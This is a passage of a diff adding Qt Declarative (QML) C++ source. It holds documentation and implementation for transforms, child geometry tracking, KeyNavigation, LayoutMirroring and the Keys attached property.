+#include "qdeclarativeitem.h"
+
+#include "private/qdeclarativeevents_p_p.h"
+#include <private/qdeclarativeengine_p.h>
+#include <private/qgraphicsitem_p.h>
+#include <QtDeclarative/private/qdeclarativeitem_p.h>
+
+#include <qdeclarativeengine.h>
+#include <qdeclarativeopenmetaobject_p.h>
+#include <qdeclarativestate_p.h>
+#include <qdeclarativeview.h>
+#include <qdeclarativestategroup_p.h>
+#include <qdeclarativecomponent.h>
+#include <qdeclarativeinfo.h>
+
+#include <QDebug>
+#include <QPen>
+#include <QEvent>
+#include <QGraphicsSceneMouseEvent>
+#include <QtCore/qnumeric.h>
+#include <QtScript/qscriptengine.h>
+#include <QtGui/qgraphicstransform.h>
+#include <qlistmodelinterface_p.h>
+
+#include <float.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass Transform QGraphicsTransform
+ \ingroup qml-transform-elements
+ \since 4.7
+ \brief The Transform elements provide a way of building advanced transformations on Items.
+
+ The Transform element is a base type which cannot be instantiated directly.
+ The following concrete Transform types are available:
+
+ \list
+ \o \l Rotation
+ \o \l Scale
+ \o \l Translate
+ \endlist
+
+ The Transform elements let you create and control advanced transformations that can be configured
+ independently using specialized properties.
+
+ You can assign any number of Transform elements to an \l Item. Each Transform is applied in order,
+ one at a time.
+*/
+
+/*!
+ \qmlclass Translate QDeclarativeTranslate
+ \ingroup qml-transform-elements
+ \since 4.7
+ \brief The Translate object provides a way to move an Item without changing its x or y properties.
+
+ The Translate object provides independent control over position in addition to the Item's x and y properties.
+
+ The following example moves the Y axis of the \l Rectangle elements while still allowing the \l Row element
+ to lay the items out as if they had not been transformed:
+ \qml
+ import QtQuick 1.0
+
+ Row {
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Translate { y: 20 }
+ }
+ Rectangle {
+ width: 100; height: 100
+ color: "red"
+ transform: Translate { y: -20 }
+ }
+ }
+ \endqml
+
+ \image translate.png
+*/
+
+/*!
+ \qmlproperty real Translate::x
+
+ The translation along the X axis.
+*/
+
+/*!
+ \qmlproperty real Translate::y
+
+ The translation along the Y axis.
+*/
+
+/*!
+ \qmlclass Scale QGraphicsScale
+ \ingroup qml-transform-elements
+ \since 4.7
+ \brief The Scale element provides a way to scale an Item.
+
+ The Scale element gives more control over scaling than using \l Item's \l{Item::scale}{scale} property. Specifically,
+ it allows a different scale for the x and y axes, and allows the scale to be relative to an
+ arbitrary point.
+
+ The following example scales the X axis of the Rectangle, relative to its interior point 25, 25:
+ \qml
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Scale { origin.x: 25; origin.y: 25; xScale: 3}
+ }
+ \endqml
+
+ \sa Rotation, Translate
+*/
+
+/*!
+ \qmlproperty real Scale::origin.x
+ \qmlproperty real Scale::origin.y
+
+ The point that the item is scaled from (i.e., the point that stays fixed relative to the parent as
+ the rest of the item grows). By default the origin is 0, 0.
+*/
+
+/*!
+ \qmlproperty real Scale::xScale
+
+ The scaling factor for the X axis.
+*/
+
+/*!
+ \qmlproperty real Scale::yScale
+
+ The scaling factor for the Y axis.
+*/
+
+/*!
+ \qmlclass Rotation QGraphicsRotation
+ \ingroup qml-transform-elements
+ \since 4.7
+ \brief The Rotation object provides a way to rotate an Item.
+
+ The Rotation object gives more control over rotation than using \l Item's \l{Item::rotation}{rotation} property.
+ Specifically, it allows (z axis) rotation to be relative to an arbitrary point.
+
+ The following example rotates a Rectangle around its interior point 25, 25:
+ \qml
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Rotation { origin.x: 25; origin.y: 25; angle: 45}
+ }
+ \endqml
+
+ Rotation also provides a way to specify 3D-like rotations for Items. For these types of
+ rotations you must specify the axis to rotate around in addition to the origin point.
+
+ The following example shows various 3D-like rotations applied to an \l Image.
+ \snippet doc/src/snippets/declarative/rotation.qml 0
+
+ \image axisrotation.png
+
+ \sa {declarative/ui-components/dialcontrol}{Dial Control example}, {declarative/toys/clocks}{Clocks example}
+*/
+
+/*!
+ \qmlproperty real Rotation::origin.x
+ \qmlproperty real Rotation::origin.y
+
+ The origin point of the rotation (i.e., the point that stays fixed relative to the parent as
+ the rest of the item rotates). By default the origin is 0, 0.
+*/
+
+/*!
+ \qmlproperty real Rotation::axis.x
+ \qmlproperty real Rotation::axis.y
+ \qmlproperty real Rotation::axis.z
+
+ The axis to rotate around. For simple (2D) rotation around a point, you do not need to specify an axis,
+ as the default axis is the z axis (\c{ axis { x: 0; y: 0; z: 1 } }).
+
+ For a typical 3D-like rotation you will usually specify both the origin and the axis.
+
+ \image 3d-rotation-axis.png
+*/
+
+/*!
+ \qmlproperty real Rotation::angle
+
+ The angle to rotate, in degrees clockwise.
+*/
+
+QDeclarativeContents::QDeclarativeContents(QDeclarativeItem *item) : m_item(item), m_x(0), m_y(0), m_width(0), m_height(0)
+{
+ //### optimize
+ connect(this, SIGNAL(rectChanged(QRectF)), m_item, SIGNAL(childrenRectChanged(QRectF)));
+}
+
+QDeclarativeContents::~QDeclarativeContents()
+{
+ QList<QGraphicsItem *> children = m_item->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i));
+ if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects?
+ continue;
+ QDeclarativeItemPrivate::get(child)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed);
+ }
+}
+
+QRectF QDeclarativeContents::rectF() const
+{
+ return QRectF(m_x, m_y, m_width, m_height);
+}
+
+void QDeclarativeContents::calcHeight(QDeclarativeItem *changed)
+{
+ qreal oldy = m_y;
+ qreal oldheight = m_height;
+
+ if (changed) {
+ qreal top = oldy;
+ qreal bottom = oldy + oldheight;
+ qreal y = changed->y();
+ if (y + changed->height() > bottom)
+ bottom = y + changed->height();
+ if (y < top)
+ top = y;
+ m_y = top;
+ m_height = bottom - top;
+ } else {
+ qreal top = FLT_MAX;
+ qreal bottom = 0;
+ QList<QGraphicsItem *> children = m_item->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i));
+ if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects?
+ continue;
+ qreal y = child->y();
+ if (y + child->height() > bottom)
+ bottom = y + child->height();
+ if (y < top)
+ top = y;
+ }
+ if (!children.isEmpty())
+ m_y = top;
+ m_height = qMax(bottom - top, qreal(0.0));
+ }
+
+ if (m_height != oldheight || m_y != oldy)
+ emit rectChanged(rectF());
+}
+
+void QDeclarativeContents::calcWidth(QDeclarativeItem *changed)
+{
+ qreal oldx = m_x;
+ qreal oldwidth = m_width;
+
+ if (changed) {
+ qreal left = oldx;
+ qreal right = oldx + oldwidth;
+ qreal x = changed->x();
+ if (x + changed->width() > right)
+ right = x + changed->width();
+ if (x < left)
+ left = x;
+ m_x = left;
+ m_width = right - left;
+ } else {
+ qreal left = FLT_MAX;
+ qreal right = 0;
+ QList<QGraphicsItem *> children = m_item->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i));
+ if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects?
+ continue;
+ qreal x = child->x();
+ if (x + child->width() > right)
+ right = x + child->width();
+ if (x < left)
+ left = x;
+ }
+ if (!children.isEmpty())
+ m_x = left;
+ m_width = qMax(right - left, qreal(0.0));
+ }
+
+ if (m_width != oldwidth || m_x != oldx)
+ emit rectChanged(rectF());
+}
+
+void QDeclarativeContents::complete()
+{
+ QList<QGraphicsItem *> children = m_item->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i));
+ if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects?
+ continue;
+ QDeclarativeItemPrivate::get(child)->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed);
+ //###what about changes to visibility?
+ }
+
+ calcGeometry();
+}
+
+void QDeclarativeContents::itemGeometryChanged(QDeclarativeItem *changed, const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ Q_UNUSED(changed)
+ //### we can only pass changed if the left edge has moved left, or the right edge has moved right
+ if (newGeometry.width() != oldGeometry.width() || newGeometry.x() != oldGeometry.x())
+ calcWidth(/*changed*/);
+ if (newGeometry.height() != oldGeometry.height() || newGeometry.y() != oldGeometry.y())
+ calcHeight(/*changed*/);
+}
+
+void QDeclarativeContents::itemDestroyed(QDeclarativeItem *item)
+{
+ if (item)
+ QDeclarativeItemPrivate::get(item)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed);
+ calcGeometry();
+}
+
+void QDeclarativeContents::childRemoved(QDeclarativeItem *item)
+{
+ if (item)
+ QDeclarativeItemPrivate::get(item)->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed);
+ calcGeometry();
+}
+
+void QDeclarativeContents::childAdded(QDeclarativeItem *item)
+{
+ if (item)
+ QDeclarativeItemPrivate::get(item)->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry | QDeclarativeItemPrivate::Destroyed);
+ calcWidth(item);
+ calcHeight(item);
+}
+
+QDeclarativeItemKeyFilter::QDeclarativeItemKeyFilter(QDeclarativeItem *item)
+: m_processPost(false), m_next(0)
+{
+ QDeclarativeItemPrivate *p =
+ item?static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(item)):0;
+ if (p) {
+ m_next = p->keyHandler;
+ p->keyHandler = this;
+ }
+}
+
+QDeclarativeItemKeyFilter::~QDeclarativeItemKeyFilter()
+{
+}
+
+void QDeclarativeItemKeyFilter::keyPressed(QKeyEvent *event, bool post)
+{
+ if (m_next) m_next->keyPressed(event, post);
+}
+
+void QDeclarativeItemKeyFilter::keyReleased(QKeyEvent *event, bool post)
+{
+ if (m_next) m_next->keyReleased(event, post);
+}
+
+void QDeclarativeItemKeyFilter::inputMethodEvent(QInputMethodEvent *event, bool post)
+{
+ if (m_next) m_next->inputMethodEvent(event, post);
+}
+
+QVariant QDeclarativeItemKeyFilter::inputMethodQuery(Qt::InputMethodQuery query) const
+{
+ if (m_next) return m_next->inputMethodQuery(query);
+ return QVariant();
+}
+
+void QDeclarativeItemKeyFilter::componentComplete()
+{
+ if (m_next) m_next->componentComplete();
+}
+
+
+/*!
+ \qmlclass KeyNavigation QDeclarativeKeyNavigationAttached
+ \ingroup qml-basic-interaction-elements
+ \since 4.7
+ \brief The KeyNavigation attached property supports key navigation by arrow keys.
+
+ Key-based user interfaces commonly allow the use of arrow keys to navigate between
+ focusable items. The KeyNavigation attached property enables this behavior by providing a
+ convenient way to specify the item that should gain focus when an arrow or tab key is pressed.
+
+ The following example provides key navigation for a 2x2 grid of items:
+
+ \snippet doc/src/snippets/declarative/keynavigation.qml 0
+
+ The top-left item initially receives focus by setting \l {Item::}{focus} to
+ \c true. When an arrow key is pressed, the focus will move to the
+ appropriate item, as defined by the value that has been set for
+ the KeyNavigation \l left, \l right, \l up or \l down properties.
+
+ Note that if a KeyNavigation attached property receives the key press and release
+ events for a requested arrow or tab key, the event is accepted and does not
+ propagate any further.
+
+ By default, KeyNavigation receives key events after the item to which it is attached.
+ If the item accepts the key event, the KeyNavigation attached property will not
+ receive an event for that key. Setting the \l priority property to
+ \c KeyNavigation.BeforeItem allows the event to be used for key navigation
+ before the item, rather than after.
+
+ If item to which the focus is switching is not enabled or visible, an attempt will
+ be made to skip this item and focus on the next. This is possible if there are
+ a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled
+ or visible, they will also be skipped.
+
+ \sa {Keys}{Keys attached property}
+*/
+
+/*!
+ \qmlproperty Item KeyNavigation::left
+ \qmlproperty Item KeyNavigation::right
+ \qmlproperty Item KeyNavigation::up
+ \qmlproperty Item KeyNavigation::down
+ \qmlproperty Item KeyNavigation::tab
+ \qmlproperty Item KeyNavigation::backtab
+
+ These properties hold the item to assign focus to
+ when the left, right, up or down cursor keys, or the
+ tab key are pressed.
+*/
+
+/*!
+ \qmlproperty Item KeyNavigation::tab
+ \qmlproperty Item KeyNavigation::backtab
+
+ These properties hold the item to assign focus to
+ when the Tab key or Shift+Tab key combination (Backtab) are pressed.
+*/
+
+QDeclarativeKeyNavigationAttached::QDeclarativeKeyNavigationAttached(QObject *parent)
+: QObject(*(new QDeclarativeKeyNavigationAttachedPrivate), parent),
+ QDeclarativeItemKeyFilter(qobject_cast<QDeclarativeItem*>(parent))
+{
+ m_processPost = true;
+}
+
+QDeclarativeKeyNavigationAttached *
+QDeclarativeKeyNavigationAttached::qmlAttachedProperties(QObject *obj)
+{
+ return new QDeclarativeKeyNavigationAttached(obj);
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::left() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->left;
+}
+
+void QDeclarativeKeyNavigationAttached::setLeft(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->left == i)
+ return;
+ d->left = i;
+ emit leftChanged();
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::right() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->right;
+}
+
+void QDeclarativeKeyNavigationAttached::setRight(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->right == i)
+ return;
+ d->right = i;
+ emit rightChanged();
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::up() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->up;
+}
+
+void QDeclarativeKeyNavigationAttached::setUp(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->up == i)
+ return;
+ d->up = i;
+ emit upChanged();
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::down() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->down;
+}
+
+void QDeclarativeKeyNavigationAttached::setDown(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->down == i)
+ return;
+ d->down = i;
+ emit downChanged();
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::tab() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->tab;
+}
+
+void QDeclarativeKeyNavigationAttached::setTab(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->tab == i)
+ return;
+ d->tab = i;
+ emit tabChanged();
+}
+
+QDeclarativeItem *QDeclarativeKeyNavigationAttached::backtab() const
+{
+ Q_D(const QDeclarativeKeyNavigationAttached);
+ return d->backtab;
+}
+
+void QDeclarativeKeyNavigationAttached::setBacktab(QDeclarativeItem *i)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ if (d->backtab == i)
+ return;
+ d->backtab = i;
+ emit backtabChanged();
+}
+
+/*!
+ \qmlproperty enumeration KeyNavigation::priority
+
+ This property determines whether the keys are processed before
+ or after the attached item's own key handling.
+
+ \list
+ \o KeyNavigation.BeforeItem - process the key events before normal
+ item key processing. If the event is used for key navigation, it will be accepted and will not
+ be passed on to the item.
+ \o KeyNavigation.AfterItem (default) - process the key events after normal item key
+ handling. If the item accepts the key event it will not be
+ handled by the KeyNavigation attached property handler.
+ \endlist
+*/
+QDeclarativeKeyNavigationAttached::Priority QDeclarativeKeyNavigationAttached::priority() const
+{
+ return m_processPost ? AfterItem : BeforeItem;
+}
+
+void QDeclarativeKeyNavigationAttached::setPriority(Priority order)
+{
+ bool processPost = order == AfterItem;
+ if (processPost != m_processPost) {
+ m_processPost = processPost;
+ emit priorityChanged();
+ }
+}
+
+void QDeclarativeKeyNavigationAttached::keyPressed(QKeyEvent *event, bool post)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ event->ignore();
+
+ if (post != m_processPost) {
+ QDeclarativeItemKeyFilter::keyPressed(event, post);
+ return;
+ }
+
+ bool mirror = false;
+ switch(event->key()) {
+ case Qt::Key_Left: {
+ if (QDeclarativeItem *parentItem = qobject_cast<QDeclarativeItem*>(parent()))
+ mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror;
+ QDeclarativeItem* leftItem = mirror ? d->right : d->left;
+ if (leftItem) {
+ setFocusNavigation(leftItem, mirror ? "right" : "left");
+ event->accept();
+ }
+ break;
+ }
+ case Qt::Key_Right: {
+ if (QDeclarativeItem *parentItem = qobject_cast<QDeclarativeItem*>(parent()))
+ mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror;
+ QDeclarativeItem* rightItem = mirror ? d->left : d->right;
+ if (rightItem) {
+ setFocusNavigation(rightItem, mirror ? "left" : "right");
+ event->accept();
+ }
+ break;
+ }
+ case Qt::Key_Up:
+ if (d->up) {
+ setFocusNavigation(d->up, "up");
+ event->accept();
+ }
+ break;
+ case Qt::Key_Down:
+ if (d->down) {
+ setFocusNavigation(d->down, "down");
+ event->accept();
+ }
+ break;
+ case Qt::Key_Tab:
+ if (d->tab) {
+ setFocusNavigation(d->tab, "tab");
+ event->accept();
+ }
+ break;
+ case Qt::Key_Backtab:
+ if (d->backtab) {
+ setFocusNavigation(d->backtab, "backtab");
+ event->accept();
+ }
+ break;
+ default:
+ break;
+ }
+
+ if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyPressed(event, post);
+}
+
+void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
+{
+ Q_D(QDeclarativeKeyNavigationAttached);
+ event->ignore();
+
+ if (post != m_processPost) {
+ QDeclarativeItemKeyFilter::keyReleased(event, post);
+ return;
+ }
+
+ bool mirror = false;
+ switch(event->key()) {
+ case Qt::Key_Left:
+ if (QDeclarativeItem *parentItem = qobject_cast<QDeclarativeItem*>(parent()))
+ mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror;
+ if (mirror ? d->right : d->left)
+ event->accept();
+ break;
+ case Qt::Key_Right:
+ if (QDeclarativeItem *parentItem = qobject_cast<QDeclarativeItem*>(parent()))
+ mirror = QDeclarativeItemPrivate::get(parentItem)->effectiveLayoutMirror;
+ if (mirror ? d->left : d->right)
+ event->accept();
+ break;
+ case Qt::Key_Up:
+ if (d->up) {
+ event->accept();
+ }
+ break;
+ case Qt::Key_Down:
+ if (d->down) {
+ event->accept();
+ }
+ break;
+ case Qt::Key_Tab:
+ if (d->tab) {
+ event->accept();
+ }
+ break;
+ case Qt::Key_Backtab:
+ if (d->backtab) {
+ event->accept();
+ }
+ break;
+ default:
+ break;
+ }
+
+ if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post);
+}
+
+void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir)
+{
+ QDeclarativeItem *initialItem = currentItem;
+ bool isNextItem = false;
+ do {
+ isNextItem = false;
+ if (currentItem->isVisible() && currentItem->isEnabled()) {
+ currentItem->setFocus(true);
+ } else {
+ QObject *attached =
+ qmlAttachedPropertiesObject<QDeclarativeKeyNavigationAttached>(currentItem, false);
+ if (attached) {
+ QDeclarativeItem *tempItem = qvariant_cast<QDeclarativeItem*>(attached->property(dir));
+ if (tempItem) {
+ currentItem = tempItem;
+ isNextItem = true;
+ }
+ }
+ }
+ }
+ while (currentItem != initialItem && isNextItem);
+}
+
+/*!
+ \qmlclass LayoutMirroring QDeclarativeLayoutMirroringAttached
+ \since QtQuick 1.1
+ \ingroup qml-utility-elements
+ \brief The LayoutMirroring attached property is used to mirror layout behavior.
+
+ The LayoutMirroring attached property is used to horizontally mirror \l {anchor-layout}{Item anchors},
+ \l{Using QML Positioner and Repeater Items}{positioner} elements (such as \l Row and \l Grid)
+ and views (such as \l GridView and horizontal \l ListView). Mirroring is a visual change: left
+ anchors become right anchors, and positioner elements like \l Grid and \l Row reverse the
+ horizontal layout of child items.
+
+ Mirroring is enabled for an item by setting the \l enabled property to true. By default, this
+ only affects the item itself; setting the \l childrenInherit property to true propagates the mirroring
+ behavior to all child elements as well. If the \c LayoutMirroring attached property has not been defined
+ for an item, mirroring is not enabled.
+
+ The following example shows mirroring in action. The \l Row below is specified as being anchored
+ to the left of its parent. However, since mirroring has been enabled, the anchor is horizontally
+ reversed and it is now anchored to the right. Also, since items in a \l Row are positioned
+ from left to right by default, they are now positioned from right to left instead, as demonstrated
+ by the numbering and opacity of the items:
+
+ \snippet doc/src/snippets/declarative/layoutmirroring.qml 0
+
+ \image layoutmirroring.png
+
+ Layout mirroring is useful when it is necessary to support both left-to-right and right-to-left
+ layout versions of an application to target different language areas. The \l childrenInherit
+ property allows layout mirroring to be applied without manually setting layout configurations
+ for every item in an application. Keep in mind, however, that mirroring does not affect any
+ positioning that is defined by the \l Item \l {Item::}{x} coordinate value, so even with
+ mirroring enabled, it will often be necessary to apply some layout fixes to support the
+ desired layout direction. Also, it may be necessary to disable the mirroring of individual
+ child items (by setting \l {enabled}{LayoutMirroring.enabled} to false for such items) if
+ mirroring is not the desired behavior, or if the child item already implements mirroring in
+ some custom way.
+
+ See \l {QML Right-to-left User Interfaces} for further details on using \c LayoutMirroring and
+ other related features to implement right-to-left support for an application.
+*/
+
+/*!
+ \qmlproperty bool LayoutMirroring::enabled
+
+ This property holds whether the item's layout is mirrored horizontally. Setting this to true
+ horizontally reverses \l {anchor-layout}{anchor} settings such that left anchors become right,
+ and right anchors become left. For \l{Using QML Positioner and Repeater Items}{positioner} elements
+ (such as \l Row and \l Grid) and view elements (such as \l {GridView}{GridView} and \l {ListView}{ListView})
+ this also mirrors the horizontal layout direction of the item.
+
+ The default value is false.
+*/
+
+/*!
+ \qmlproperty bool LayoutMirroring::childrenInherit
+
+ This property holds whether the \l {enabled}{LayoutMirroring.enabled} value for this item
+ is inherited by its children.
+
+ The default value is false.
+*/
+
+QDeclarativeLayoutMirroringAttached::QDeclarativeLayoutMirroringAttached(QObject *parent) : QObject(parent), itemPrivate(0)
+{
+ if (QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent)) {
+ itemPrivate = QDeclarativeItemPrivate::get(item);
+ itemPrivate->attachedLayoutDirection = this;
+ } else
+ qmlInfo(parent) << tr("LayoutDirection attached property only works with Items");
+}
+
+QDeclarativeLayoutMirroringAttached * QDeclarativeLayoutMirroringAttached::qmlAttachedProperties(QObject *object)
+{
+ return new QDeclarativeLayoutMirroringAttached(object);
+}
+
+bool QDeclarativeLayoutMirroringAttached::enabled() const
+{
+ return itemPrivate ? itemPrivate->effectiveLayoutMirror : false;
+}
+
+void QDeclarativeLayoutMirroringAttached::setEnabled(bool enabled)
+{
+ if (!itemPrivate)
+ return;
+
+ itemPrivate->isMirrorImplicit = false;
+ if (enabled != itemPrivate->effectiveLayoutMirror) {
+ itemPrivate->setLayoutMirror(enabled);
+ if (itemPrivate->inheritMirrorFromItem)
+ itemPrivate->resolveLayoutMirror();
+ }
+}
+
+void QDeclarativeLayoutMirroringAttached::resetEnabled()
+{
+ if (itemPrivate && !itemPrivate->isMirrorImplicit) {
+ itemPrivate->isMirrorImplicit = true;
+ itemPrivate->resolveLayoutMirror();
+ }
+}
+
+bool QDeclarativeLayoutMirroringAttached::childrenInherit() const
+{
+ return itemPrivate ? itemPrivate->inheritMirrorFromItem : false;
+}
+
+void QDeclarativeLayoutMirroringAttached::setChildrenInherit(bool childrenInherit) {
+ if (itemPrivate && childrenInherit != itemPrivate->inheritMirrorFromItem) {
+ itemPrivate->inheritMirrorFromItem = childrenInherit;
+ itemPrivate->resolveLayoutMirror();
+ childrenInheritChanged();
+ }
+}
+
+void QDeclarativeItemPrivate::resolveLayoutMirror()
+{
+ Q_Q(QDeclarativeItem);
+ if (QDeclarativeItem *parentItem = q->parentItem()) {
+ QDeclarativeItemPrivate *parentPrivate = QDeclarativeItemPrivate::get(parentItem);
+ setImplicitLayoutMirror(parentPrivate->inheritedLayoutMirror, parentPrivate->inheritMirrorFromParent);
+ } else {
+ setImplicitLayoutMirror(isMirrorImplicit ? false : effectiveLayoutMirror, inheritMirrorFromItem);
+ }
+}
+
+void QDeclarativeItemPrivate::setImplicitLayoutMirror(bool mirror, bool inherit)
+{
+ inherit = inherit || inheritMirrorFromItem;
+ if (!isMirrorImplicit && inheritMirrorFromItem)
+ mirror = effectiveLayoutMirror;
+ if (mirror == inheritedLayoutMirror && inherit == inheritMirrorFromParent)
+ return;
+
+ inheritMirrorFromParent = inherit;
+ inheritedLayoutMirror = inheritMirrorFromParent ? mirror : false;
+
+ if (isMirrorImplicit)
+ setLayoutMirror(inherit ? inheritedLayoutMirror : false);
+ for (int i = 0; i < children.count(); ++i) {
+ if (QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i))) {
+ QDeclarativeItemPrivate *childPrivate = QDeclarativeItemPrivate::get(child);
+ childPrivate->setImplicitLayoutMirror(inheritedLayoutMirror, inheritMirrorFromParent);
+ }
+ }
+}
+
+void QDeclarativeItemPrivate::setLayoutMirror(bool mirror)
+{
+ if (mirror != effectiveLayoutMirror) {
+ effectiveLayoutMirror = mirror;
+ if (_anchors) {
+ _anchors->d_func()->fillChanged();
+ _anchors->d_func()->centerInChanged();
+ _anchors->d_func()->updateHorizontalAnchors();
+ }
+ mirrorChange();
+ if (attachedLayoutDirection) {
+ emit attachedLayoutDirection->enabledChanged();
+ }
+ }
+}
+
+/*!
+ \qmlclass Keys QDeclarativeKeysAttached
+ \ingroup qml-basic-interaction-elements
+ \since 4.7
+ \brief The Keys attached property provides key handling to Items.
+
+ All visual primitives support key handling via the Keys
+ attached property. Keys can be handled via the onPressed
+ and onReleased signal properties.
+
+ The signal properties have a \l KeyEvent parameter, named
+ \e event which contains details of the event. If a key is
+ handled \e event.accepted should be set to true to prevent the
+ event from propagating up the item hierarchy.
+
+ \section1 Example Usage
+
+ The following example shows how the general onPressed handler can
+ be used to test for a certain key; in this case, the left cursor
+ key:
+
+ \snippet doc/src/snippets/declarative/keys/keys-pressed.qml key item
+
+ Some keys may alternatively be handled via specific signal properties,
+ for example \e onSelectPressed. These handlers automatically set
+ \e event.accepted to true.
+
+ \snippet doc/src/snippets/declarative/keys/keys-handler.qml key item
+
+ See \l{Qt::Key}{Qt.Key} for the list of keyboard codes.
+
+ \section1 Key Handling Priorities
+
+ The Keys attached property can be configured to handle key events
+ before or after the item it is attached to. This makes it possible
+ to intercept events in order to override an item's default behavior,
+ or act as a fallback for keys not handled by the item.
+
+ If \l priority is Keys.BeforeItem (default) the order of key event processing is:
+
+ \list 1
+ \o Items specified in \c forwardTo
+ \o specific key handlers, e.g. onReturnPressed
+ \o onKeyPress, onKeyRelease handlers
+ \o Item specific key handling, e.g. TextInput key handling
+ \o parent item
+ \endlist
+
+ If priority is Keys.AfterItem the order of key event processing is:
+
+ \list 1
+ \o Item specific key handling, e.g. TextInput key handling
+ \o Items specified in \c forwardTo
+ \o specific key handlers, e.g. onReturnPressed
+ \o onKeyPress, onKeyRelease handlers
+ \o parent item
+ \endlist
+
+ If the event is accepted during any of the above steps, key
+ propagation stops.
+
+ \sa KeyEvent, {KeyNavigation}{KeyNavigation attached property}
+*/
+
+/*!
+ \qmlproperty bool Keys::enabled
+
+ This flags enables key handling if true (default); otherwise
+ no key handlers will be called.
+*/
+
+/*!
+ \qmlproperty enumeration Keys::priority
+
+ This property determines whether the keys are processed before
+ or after the attached item's own key handling.
+
+ \list
+ \o Keys.BeforeItem (default) - process the key events before normal
+ item key processing. If the event is accepted it will not
+ be passed on to the item.
+ \o Keys.AfterItem - process the key events after normal item key
+ handling. If the item accepts the key event it will not be
+ handled by the Keys attached property handler.
+ \endlist
+*/
+
+/*!
+ \qmlproperty list<Object> Keys::forwardTo
+
+ This property provides a way to forward key presses, key releases, and keyboard input
+ coming from input methods to other items. This can be useful when you want
+ one item to handle some keys (e.g. the up and down arrow keys), and another item to
+ handle other keys (e.g. the left and right arrow keys). Once an item that has been
+ forwarded keys accepts the event it is no longer forwarded to items later in the
+ list.
+
+ This example forwards key events to two lists:
+ \qml
+ Item {
+ ListView {
+ id: list1
+ // ...
+ }
+ ListView {
+ id: list2
+ // ...
+ }
+ Keys.forwardTo: [list1, list2]
+ focus: true
+ }
+ \endqml
+*/
+
+/*!
+ \qmlsignal Keys::onPressed(KeyEvent event)
+
+ This handler is called when a key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onReleased(KeyEvent event)
+
+ This handler is called when a key has been released. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit0Pressed(KeyEvent event)
+
+ This handler is called when the digit '0' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit1Pressed(KeyEvent event)
+
+ This handler is called when the digit '1' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit2Pressed(KeyEvent event)
+
+ This handler is called when the digit '2' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit3Pressed(KeyEvent event)
+
+ This handler is called when the digit '3' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit4Pressed(KeyEvent event)
+
+ This handler is called when the digit '4' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit5Pressed(KeyEvent event)
+
+ This handler is called when the digit '5' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal Keys::onDigit6Pressed(KeyEvent event)
+
+ This handler is called when the digit '6' has been pressed. The \a event
